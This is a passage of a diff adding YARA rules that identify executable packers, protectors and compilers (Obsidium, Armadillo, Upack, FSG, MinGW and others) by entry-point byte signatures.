+		$1 = {60 9C 64 FF 35 00 00 00 00 E8 79 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 47 65 74 53 79 73 74 65 6D 44 69 72 65 63 74 6F 72 79 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 4D 61 70 70 69 6E 67 41 00 00 00 4D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 55 6E 6D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 43 6C 6F 73 65 48 61 6E 64 6C 65 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 45 78 69 74 50 72 6F 63 65 73 73}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Obsidium_1334__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium 1.3.3.4 -> Obsidium Software"
+	strings:
+		$0 = {EB 02 ?? ?? E8 29 00 00 00 EB 03 ?? ?? ?? EB 02 ?? ?? 8B 54 24 0C EB 03 ?? ?? ?? 83 82 B8 00 00 00 25 EB 02 ?? ?? 33 C0 EB 02 ?? ?? C3 EB 03 ?? ?? ?? EB 01 ?? 64 67 FF 36 00 00 EB 02 ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 50 EB 02 ?? ?? 33 C0 EB 01 ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 02 ?? ?? E8 D5 FF FF FF EB 02 ?? ?? EB 03 ?? ?? ?? 58 EB 02 ?? ?? EB 03 ?? ?? ?? 64 67 8F 06 00 00 EB 03}
+		$1 = {EB 02 ?? ?? E8 29 00 00 00 EB 03 ?? ?? ?? EB 02 ?? ?? 8B 54 24 0C EB 03 ?? ?? ?? 83 82 B8 00 00 00 25 EB 02 ?? ?? 33 C0 EB 02 ?? ?? C3 EB 03 ?? ?? ?? EB 01 ?? 64 67 FF 36 00 00 EB 02 ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 50 EB 02 ?? ?? 33}
+		$2 = {EB 02 ?? ?? E8 29 00 00 00 EB 03 ?? ?? ?? EB 03 ?? ?? ?? 8B ?? 24 0C EB 01 ?? 83 ?? B8 00 00 00 28 EB 03 ?? ?? ?? 33 C0 EB 01 ?? C3 EB 04 ?? ?? ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 50 EB 04 ?? ?? ?? ?? 33 C0 EB 01 ?? 8B 00 EB 03 ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 58 EB 01 ?? EB 03 ?? ?? ?? 64 67 8F 06 00 00 EB 04 ?? ?? ?? ?? 83 C4 04 EB 04 ?? ?? ?? ?? E8 2B 27 00 00}
+		$3 = {EB 02 ?? ?? E8 29 00 00 00 EB 03 ?? ?? ?? EB 02 ?? ?? 8B 54 24 0C EB 03 ?? ?? ?? 83 82 B8 00 00 00 25 EB 02 ?? ?? 33 C0 EB 02 ?? ?? C3 EB 03 ?? ?? ?? EB 01 ?? 64 67 FF 36 00 00 EB 02 ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 50 EB 02 ?? ?? 33 C0 EB 01 ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 02 ?? ?? E8 D5 FF FF FF EB 02 ?? ?? EB 03 ?? ?? ?? 58 EB 02 ?? ?? EB 03 ?? ?? ?? 64 67 8F 06 00 00 EB 03}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint
+}
+rule _theWRAP__by_TronDoc_
+{
+	meta:
+		description = "theWRAP - by TronDoc"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 53 56 57 33 C0 89 45 F0 B8 48 D2 4B 00 E8 BC 87 F4 FF BB 04 0B 4D 00 33 C0 55 68 E8 D5 4B 00 64 FF 30 64 89 20 E8 9C F4 FF FF E8 F7 FB FF FF 6A 40 8D 55 F0 A1 F0 ED 4B 00 8B 00 E8 42 2E F7 FF 8B 4D F0 B2 01 A1 F4 C2 40 00 E8 F7 20 F5 FF 8B F0 B2 01 A1 B4 C3 40 00 E8 F1 5B F4 FF 89 03 33 D2 8B 03 E8 42 1E F5 FF 66 B9 02 00 BA FC FF FF FF 8B C6 8B 38 FF 57 0C BA B8 A7 4D 00 B9 04 00 00 00 8B C6 8B 38 FF 57 04 83 3D B8 A7 4D 00 00 0F 84 5E 01 00 00 8B 15 B8 A7 4D 00 83 C2 04 F7 DA 66 B9 02 00 8B C6 8B 38 FF 57 0C 8B 0D B8 A7 4D 00 8B D6 8B 03 E8 2B 1F F5 FF 8B C6 E8 B4 5B F4 FF 33 D2 8B 03 E8 DF 1D F5 FF BA F0 44 4E 00 B9 01 00 00 00 8B 03 8B 30 FF 56 04 80 3D F0 44 4E 00 0A 75 3F BA B8 A7 4D 00 B9 04 00 00 00 8B 03 8B 30 FF 56 04 8B 15 B8 A7}
+		$1 = {55 8B EC 83 C4 F0 53 56 57 33 C0 89 45 F0 B8 48 D2 4B 00 E8 BC 87 F4 FF BB 04 0B 4D 00 33 C0 55 68 E8 D5 4B 00 64 FF 30 64 89 20 E8 9C F4 FF FF E8 F7 FB FF FF 6A 40 8D 55 F0 A1 F0 ED 4B 00 8B 00 E8 42 2E F7 FF 8B 4D F0 B2 01 A1 F4 C2 40 00 E8 F7 20 F5 FF 8B F0 B2 01 A1 B4 C3 40 00 E8 F1 5B F4 FF 89 03 33 D2 8B 03 E8 42 1E F5 FF 66 B9 02 00 BA FC FF FF FF 8B C6 8B 38 FF 57 0C BA B8 A7 4D 00 B9 04 00 00 00 8B C6 8B 38 FF 57 04 83 3D B8 A7 4D 00 00 0F 84 5E 01 00 00 8B 15 B8 A7 4D 00 83 C2 04 F7 DA 66 B9 02 00 8B C6 8B 38 FF 57 0C 8B 0D B8 A7 4D 00 8B D6 8B 03 E8 2B 1F F5 FF 8B C6 E8 B4 5B F4 FF 33 D2 8B 03 E8 DF 1D F5 FF BA F0 44 4E 00 B9 01 00 00 00 8B 03 8B 30 FF 56 04 80 3D F0 44 4E 00 0A 75 3F BA B8 A7 4D 00 B9 04 00 00 00 8B 03 8B 30 FF 56 04 8B 15 B8 A7}
+		$2 = {55 8B EC 83 C4 F0 53 56 57 33 C0 89 45 F0 B8 48 D2 4B 00 E8 BC 87 F4 FF BB 04 0B 4D 00 33 C0 55 68 E8 D5 4B 00 64 FF 30 64 89 20 E8 9C F4 FF FF E8 F7 FB FF FF 6A 40 8D 55 F0 A1 F0 ED 4B 00 8B 00 E8 42 2E F7 FF 8B 4D F0 B2 01 A1 F4 C2 40 00 E8 F7 20 F5 FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Armadillo_v2xx__Silicon_Realms_Toolworks_
+{
+	meta:
+		description = "Armadillo v2.xx -> Silicon Realms Toolworks"
+	strings:
+		$0 = {55 8B EC 6A FF 68 F0 67 4D 00 68 50 92 4B 00 64 A1}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_v118_Basic_DLL_LZMA_
+{
+	meta:
+		description = "RLPack v1.18 Basic DLL [LZMA"
+	strings:
+		$0 = {80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 21 0B 00 00 8D 9D FF 02 00 00 33 FF E8 9F 01 00 00 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 AA 0A 00 00 89 85 F9 0A 00 00 EB 14 60 FF B5 F9 0A}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_120_Eng__dulekxt__Microsoft_Visual_Cpp_60_
+{
+	meta:
+		description = "FSG 1.20 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)"
+	strings:
+		$0 = {C1 E0 06 EB 02 CD 20 EB 01 27 EB 01 24 BE 80 ?? 42 00 49 EB 01 99 8D 1D F4 00 00 00 EB 01 5C F7 D8 1B CA EB 01 31 8A 16 80 E9 41 EB 01 C2 C1 E0 0A EB 01 A1 81 EA A8 8C 18 A1 34 46 E8 01 00 00 00 62 59 32 D3 C1 C9 02 EB 01 68 80 F2 1A 0F BE C9 F7 D1 2A D3}
+	condition:
+		$0 at entrypoint
+}
+rule _Crinkler_V01V02__Rune_LHStubbe_and_Aske_Simon_Christensen_
+{
+	meta:
+		description = "Crinkler V0.1-V0.2 -> Rune L.H.Stubbe and Aske Simon Christensen"
+	strings:
+		$0 = {B8 EF BE AD DE 50 6A ?? FF 15 10 19 40 ?? E9 AD FF FF FF}
+		$1 = {B9 ?? ?? ?? ?? 01 C0 68 ?? ?? ?? ?? 6A 00 58 50 6A 00 5F 48 5D BB 03 00 00 00 BE ?? ?? ?? ?? E9}
+		$2 = {B9 ?? ?? ?? ?? 01 C0 68 ?? ?? ?? ?? 6A 00 58 50 6A 00 5F 48 5D BB 03 00 00 00 BE ?? ?? ?? ?? E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _tElock_v098b1__tHE_EGOiSTE_
+{
+	meta:
+		description = "tElock v0.98b1 -> tHE EGOiSTE"
+	strings:
+		$0 = {E9 25 E4 FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_C_for_Windows_2_
+{
+	meta:
+		description = "Microsoft C for Windows (2)"
+	strings:
+		$0 = {8C D8 ?? 45 55 8B EC 1E 8E D8 57 56 89}
+	condition:
+		$0 at entrypoint
+}
+rule _Mew_501__NorthFox__HCC_
+{
+	meta:
+		description = "Mew 5.0.1 -> NorthFox / HCC"
+	strings:
+		$0 = {BE 5B 00 40 00 AD 91 AD 93 53 AD 96 56 5F AC C0 C0 ?? 04 ?? C0 C8 ?? AA E2 F4 C3 00 ?? ?? 00 ?? ?? ?? 00 00 10 40 00 4D 45 57 20 30 2E 31 20 62 79 20 4E 6F 72 74 68 66 6F 78 00 4D 45 57 20 30 2E 31 20 62 79 20 4E 6F 72 74 68 66 6F 78 00 4D 45 57 20 30 2E}
+		$1 = {BE 5B 00 40 00 AD 91 AD 93 53 AD 96 56 5F AC C0 C0 ?? 04 ?? C0 C8 ?? AA E2 F4 C3 00 ?? ?? 00 ?? ?? ?? 00 00 10 40 00 4D 45 57 20 30 2E 31 20 62 79 20 4E 6F 72 74 68 66 6F 78 00 4D 45 57 20 30 2E 31 20 62 79 20 4E 6F 72 74 68 66 6F 78 00 4D 45 57 20 30 2E 31 20 62 79 20 4E 6F 72 74 68 66 6F 78 00 4D 45 57 20 30 2E 31 20 62 79 20 4E 6F 72 74 68 66 6F 78 00 4D}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Upack_V033V034__Dwing__20080321_
+{
+	meta:
+		description = "Upack V0.33-V0.34 -> Dwing * 20080321"
+	strings:
+		$0 = {57 51 58 8D 54 83 58 FF 16 72 5C 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 6F FF C1 ED ?? C1 E5 08 8D 6C 6D 00 8D AC AB 08 10 00 00 B0 01 E3 2A 8B D7 2B 53 08 8A 2A 33 D2 84 E9 0F 95 C6 52 FE C6 8A D0 8D 54 95 00 FF 16 5A 9F 12 C0 D0 E9 74 0E 9E 1A F2 74 E3 B4 00 33 C9 B5 01 FF 56 AC 33 C9 E9 03 01 00 00 B1 30 8B 6B 08 03 D1 FF 16 73 51 03 D1 FF 16 72 1B 03 D1 FF 16 72 2B 3C 07 B0 09 72 02 B0 0B 50 8B C7 2B 43 08 8A 00 E9 D5 00 00 00 83 C2 60 FF 16 87 6B 0C 73 0C 03 D1 FF 16 87 6B 10 73 03 87 6B 14 3C 07 B0 08 72 02 B0 0B 50 55 8D 93 78 07 00 00 FF 56 B0 5D 91 E9 99 00 00 00 3C 07 B0 07 72 02 B0 0A 50 87 6B 0C 87 6B 10 89 6B 14 8D 93 C0 0B 00 00 FF 56 B0 6A 03 59 50 48 3B C1 72 02 8B C1 C1 E0 06 B1 40 8D AC 83 78 03 00 00 FF 56 A8 3C 04 8B E8 72 5C 33 ED D1 E8 13 ED 48 45 91 45 D3 E5 80 F9 05 8D 94 AB 78 01 00 00 76 2B 80 E9 04 33 C0 8B 53 FC D1 2B 8B 12 0F CA 2B 53 04 03 C0 3B 13 72 06 8B 13 40 01 53 04 FF 56 88 E2 E3}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Cpp_19901992_
+{
+	meta:
+		description = "Microsoft C++ (1990/1992)"
+	strings:
+		$0 = {B8 00 30 CD 21 3C 03 73 ?? 0E 1F BA ?? ?? B4 09 CD 21 06 33 C0 50 CB}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_V037__Dwing__20080321_
+{
+	meta:
+		description = "Upack V0.37 -> Dwing * 20080321"
+	strings:
+		$0 = {58 8D 54 83 58 FF 16 72 5C 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 6F FF ?? ?? ?? C1 E5 08 8D 6C 6D 00 8D AC AB 08 10 00 00 B0 01 E3 2A 8B D7 2B 53 08 8A 2A 33 D2 84 E9 0F 95 C6 52 FE C6 8A D0 8D 54 95 00 FF 16 5A 9F 12 C0 D0 E9 74 0E 9E 1A F2 74 E3 B4 00 33 C9 B5 01 FF 56 50 33 C9 E9 03 01 00 00 B1 30 8B 6B 08 03 D1 FF 16 73 51 03 D1 FF 16 72 1B 03 D1 FF 16 72 2B 3C 07 B0 09 72 02 B0 0B 50 8B C7 2B 43 08 8A 00 E9 D5 00 00 00 83 C2 60 FF 16 87 6B 0C 73 0C 03 D1 FF 16 87 6B 10 73 03 87 6B 14 3C 07 B0 08 72 02 B0 0B 50 55 8D 93 78 07 00 00 FF 56 54 5D 91 E9 99 00 00 00 3C 07 B0 07 72 02 B0 0A 50 87 6B 0C 87 6B 10 89 6B 14 8D 93 C0 0B 00 00 FF 56 54 6A 03 59 50 48 3B C1 72 02 8B C1 C1 E0 06 B1 40 8D AC 83 78 03 00 00 FF 56 4C 3C 04 8B E8 72 5C 33 ED D1 E8 13 ED 48 45 91 45 D3 E5 80 F9 05 8D 94 AB 78 01 00 00 76 2B 80 E9 04 33 C0 8B 53 FC D1 2B 8B 12 0F CA 2B 53 04 03 C0 3B 13 72 06 8B 13 40 01 53 04 FF 56 10}
+	condition:
+		$0 at entrypoint
+}
+rule _Petite_v_after_v14_
+{
+	meta:
+		description = "Petite v?.? (after v1.4)"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 66 9C 60 50 8D ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 83}
+		$1 = {B8 ?? ?? ?? ?? 66 9C 60 50 8D ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 83}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _NoobyProtect_SE_Public_V1170__Nooby__20090201_
+{
+	meta:
+		description = "NoobyProtect SE Public V1.1.7.0 -> Nooby * 20090201"
+	strings:
+		$0 = {E9 ?? 00 00 00 4E 6F 6F 62 79 50 72 6F 74 65 63 74 20 53 45 20 31 2E 31 2E 37 2E 30}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE_Stealth_v27__WebToolMaster_
+{
+	meta:
+		description = "EXE Stealth v2.7 -> WebToolMaster"
+	strings:
+		$0 = {EB 00 60 EB 00 E8 00 00 00 00 5D 81 ED D3 26 40}
+	condition:
+		$0 at entrypoint
+}
+rule _AZProtect_
+{
+	meta:
+		description = "AZProtect"
+	strings:
+		$0 = {EB 70 FC 60 8C 80 4D 11 00 70 25 81 00 40 0D 91 BB 60 8C 80 4D 11 00 70 21 81 1D 61 0D 81 00 40 CE 60 8C 80 4D 11 00 70 25 81 25 81 25 81 25 81 29 61 41 81 31 61 1D 61 00 40 B7 30}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_C_Library_1985_
+{
+	meta:
+		description = "Microsoft C Library 1985"
+	strings:
+		$0 = {BF ?? ?? 8B 36 ?? ?? 2B F7 81 FE ?? ?? 72 ?? BE ?? ?? FA 8E D7 81 C4 ?? ?? FB 73}
+	condition:
+		$0 at entrypoint
+}
+rule _SVK_Protector_v13x_Eng__Pavol_Cerven_
+{
+	meta:
+		description = "SVK Protector v1.3x (Eng) -> Pavol Cerven"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 EB 05 B8 ?? ?? 42 00 64 A0 23 00 00 00 EB 03 C7 84 E8 84 C0 EB 03 C7 84 E9 75 67 B9 49 00 00 00 8D B5 C5 02 00 00 56 80 06 44 46 E2 FA 8B 8D C1 02 00 00 5E 55 51 6A 00 56 FF 95 0C 61 00 00 59 5D 40 85 C0 75 3C 80 3E 00 74 03 46 EB F8 46 E2 E3 8B C5 8B 4C 24 20 2B 85 BD 02 00 00 89 85 B9 02 00 00 80 BD B4 02 00 00 01 75 06 8B 8D 0C 61 00 00 89 8D B5 02 00 00 8D 85 0E 03 00 00 8B DD FF E0 55 68 10 10 00 00 8D 85 B4 00 00 00 50 8D 85 B4 01 00 00 50 6A 00 FF 95 18 61 00 00 5D 6A FF FF 95 10 61 00 00 44 65 62 75 67 67 65 72 20 6F 72 20 74 6F 6F 6C 20 66 6F 72 20 6D 6F 6E 69 74 6F 72 69 6E 67 20 64 65 74 65 63 74 65 64 21 21 21 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+		$1 = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 EB 05 B8 ?? ?? 42 00 64 A0 23 00 00 00 EB 03 C7 84 E8 84 C0 EB 03 C7 84 E9 75 67 B9 49 00 00 00 8D B5 C5 02 00 00 56 80 06 44 46 E2 FA 8B 8D C1 02 00 00 5E 55 51 6A 00 56 FF 95 0C 61 00 00 59 5D 40 85 C0 75 3C 80 3E}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _NeoLite_104_
+{
+	meta:
+		description = "NeoLite 1.04"
+	strings:
+		$0 = {8B 44 24 04 8D 54 24 FC 23 05 11 10 00 00 E8 EB 04 00 00 FF 35 F4 13 00 00 50 FF 25 FC 13 00 00 94 9A 8D 91 9A 93 CC CD 00 B8 93 90 9D 9E 93 BE 93 93 90 9C 00 B8 93 90 9D 9E 93 B9 8D 9A 9A 00 B8 9A 8B B2 90 9B 8A 93 9A B7 9E 91 9B 93 9A BE}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_V1342__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium V1.3.4.2 -> Obsidium Software"
+	strings:
+		$0 = {EB 02 ?? ?? E8 26 00 00 00 EB 03 ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 02 ?? ?? 83 82 B8 00 00 00 24 EB 03 ?? ?? ?? 33 C0 EB 01 ?? C3 EB 02 ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 03 ?? ?? ?? EB 03 ?? ?? ?? 50 EB 04}
+		$1 = {EB 02 ?? ?? E8 26 00 00 00 EB 03 ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 02 ?? ?? 83 82 B8 00 00 00 24 EB 03 ?? ?? ?? 33 C0 EB 01 ?? C3 EB 02 ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 03 ?? ?? ?? EB 03 ?? ?? ?? 50 EB 04 ?? ?? ?? ?? 33 C0 EB 03 ?? ?? ?? 8B 00 EB 03 ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 01 ?? EB 03 ?? ?? ?? 58 EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 04 ?? ?? ?? ?? 83 C4 04 EB 01 ?? E8 C3 27 00 00}
+		$2 = {EB 02 ?? ?? E8 26 00 00 00 EB 03 ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 02 ?? ?? 83 82 B8 00 00 00 24 EB 03 ?? ?? ?? 33 C0 EB 01 ?? C3 EB 02 ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 03 ?? ?? ?? EB 03 ?? ?? ?? 50 EB 04 ?? ?? ?? ?? 33 C0 EB 03 ?? ?? ?? 8B 00 EB 03 ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 01 ?? EB 03 ?? ?? ?? 58 EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 04 ?? ?? ?? ?? 83 C4 04 EB 01 ?? E8 C3 27 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _AHTeam_EP_Protector_03_fake_PESHiELD_2x__FEUERRADER_
+{
+	meta:
+		description = "AHTeam EP Protector 0.3 (fake PESHiELD 2.x) -> FEUERRADER"
+	strings:
+		$0 = {90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 60 E8 00 00 00 00 41 4E 41 4B 49 4E 5D 83 ED 06 EB 02 EA 04}
+		$1 = {90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 60 E8 00 00 00 00 41 4E 41 4B 49 4E 5D 83 ED 06 EB 02 EA 04}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Private_exe_Protector_V18XV19X__SetiSoft_Team_
+{
+	meta:
+		description = "Private exe Protector V1.8X-V1.9X -> SetiSoft Team"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 ?? ?? ?? ?? 00 00 00 00 00 00 45 78 69 74 50 72 6F 63 65 73 73}
+	condition:
+		$0
+}
+rule _ASPack_108__Solodovnikov_Alexey_
+{
+	meta:
+		description = "ASPack 1.08 -> Solodovnikov Alexey"
+	strings:
+		$0 = {90 75 01 FF E9}
+	condition:
+		$0 at entrypoint
+}
+rule _Symantec_Visual_Cafe_v30_
+{
+	meta:
+		description = "Symantec Visual Cafe v3.0"
+	strings:
+		$0 = {53 FF 15 ?? ?? ?? 00 B3 22 38 18 74 03 80 C3 FE 8A 48 01 40 33 D2 3A CA 74 0A 3A CB 74 06 8A 48 01 40 EB F2 38 10 74 01 40 ?? ?? ?? ?? FF 15}
+	condition:
+		$0 at entrypoint
+}
+rule _UPack_Alt_Stub__Dwing_
+{
+	meta:
+		description = "UPack Alt Stub -> Dwing"
+	strings:
+		$0 = {60 E8 09 00 00 00 C3 F6 00 00 E9 06 02 00 00 33 C9 5E 87 0E E3 F4 2B F1 8B DE AD 2B D8 AD}
+		$1 = {60 E8 09 00 00 00 C3 F6 00 00 E9 06 02 00 00 33 C9 5E 87 0E E3 F4 2B F1 8B DE AD 2B D8 AD}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _Private_exe_Protector_V314__SetiSoft_Team__Mato__20100705_
+{
+	meta:
+		description = "Private exe Protector V3.1.4 -> SetiSoft Team - Mato - 20100705"
+	strings:
+		$0 = {50 00 72 00 69 00 76 00 61 00 74 00 65 00 20 00 65 00 78 00 65 00 20 00 50 00 72 00 6F 00 74 00 65 00 63 00 74 00 6F 00 72 00 00 00 34 00 08 00 01 00 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 33 00 2E 00 31 00 2E 00 34 00 2E 00 30}
+	condition:
+		$0 at entrypoint
+}
+rule _MinGW_
+{
+	meta:
+		description = "MinGW"
+	strings:
+		$0 = {55 89 E5 83 EC 08 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _CRYPTCOM_
+{
+	meta:
+		description = "CRYPTCOM"
+	strings:
+		$0 = {BF ?? ?? 57 BE ?? ?? ?? B9 ?? ?? F3 A4 C3 8B ?? ?? ?? 8B ?? ?? ?? BF ?? ?? 57 BE ?? ?? ?? AD 33 C2 AB E2 ?? C3}
+	condition:
+		$0 at entrypoint
+}
+rule _PassLock_2000_v10_Eng__MoonlightSoftware_
+{
+	meta:
+		description = "PassLock 2000 v1.0 (Eng) -> Moonlight-Software"
+	strings:
+		$0 = {55 8B EC 53 56 57 BB 00 50 40 00 66 2E F7 05 34 20 40 00 04 00 0F 85 98 00 00 00 E8 1F 01 00 00 C7 43 60 01 00 00 00 8D 83 E4 01 00 00 50 FF 15 F0 61 40 00 83 EC 44 C7 04 24 44 00 00 00 C7 44 24 2C 00 00 00 00 54 FF 15 E8 61 40 00 B8 0A 00 00 00 F7 44 24}
+		$1 = {55 8B EC 53 56 57 BB 00 50 40 00 66 2E F7 05 34 20 40 00 04 00 0F 85 98 00 00 00 E8 1F 01}
+		$2 = {55 8B EC 53 56 57 BB 00 50 40 00 66 2E F7 05 34 20 40 00 04 00 0F 85 98 00 00 00 E8 1F 01 00 00 C7 43 60 01 00 00 00 8D 83 E4 01 00 00 50 FF 15 F0 61 40 00 83 EC 44 C7 04 24 44 00 00 00 C7 44 24 2C 00 00 00 00 54 FF 15 E8 61 40 00 B8 0A 00 00 00 F7 44 24 2C 01 00 00 00 74 05 0F B7 44 24 30 83 C4 44 89 43 56 FF 15 D0 61 40 00 E8 9E 00 00 00 89 43 4C FF 15 D4 61 40 00 89 43 48 6A 00 FF 15 E4 61 40 00 89 43 5C E8 F9 00 00 00 E8 AA 00 00 00 B8 FF 00 00 00 72 0D 53 E8 96 00 00 00 5B FF 4B 10 FF 4B 18 5F 5E 5B 5D 50 FF 15 C8 61 40 00 C3 83 7D 0C 01 75 3F E8 81 00 00 00 8D 83 E4 01 00 00 50 FF 15 F0 61 40 00 FF 15 D0 61 40 00 E8 3A 00 00 00 89 43 4C FF 15 D4 61 40 00 89 43 48 8B 45 08 89 43 5C E8 9A 00 00 00 E8 4B 00 00 00 72 11 66 FF 43 5A 8B 45 0C 89 43 60 53}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Crypter_31__SLESH_
+{
+	meta:
+		description = "Crypter 3.1 -> SLESH"
+	strings:
+		$0 = {68 FF 64 24 F0 68 58 58 58 58 FF D4 50 8B 40 F2 05 B0 95 F6 95 0F 85 01 81 BB FF 68}
+		$1 = {68 FF 64 24 F0 68 58 58 58 58 FF D4 50 8B 40 F2 05 B0 95 F6 95 0F 85 01 81 BB FF 68}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _ORiEN_201__A_Fisun_
+{
+	meta:
+		description = "ORiEN 2.01 -> A. Fisun"
+	strings:
+		$0 = {E9 5D 01 00 00}
+		$1 = {E9 5D 01 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _KGB_SFX_
+{
+	meta:
+		description = "KGB SFX"
+	strings:
+		$0 = {60 BE 00 A0 46 00 8D BE 00 70 F9 FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73}
+		$1 = {60 BE 00 A0 46 00 8D BE 00 70 F9 FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _UPXScrambler_by_GurueXe_
+{
+	meta:
+		description = "UPX-Scrambler by Guru.eXe"
+	strings:
+		$0 = {66 C7 05 ?? ?? ?? ?? 75 07 E9 ?? FE FF FF 00 ?? ?? 00 00 00 ?? ?? 00 ?? ?? 00 00 00 ?? ?? 00 ?? ?? 00 00 00 ?? ?? 00 ?? ?? 00 00 00 ?? ?? 00 ?? ?? 00 00 00 ?? ?? 00 ?? ?? 00 00 00 ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _NsPacK_V34V35__LiuXingPing_
+{
+	meta:
+		description = "NsPacK V3.4-V3.5 -> LiuXingPing"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D 85 ?? ?? ?? ?? 80 38 01 0F 84}
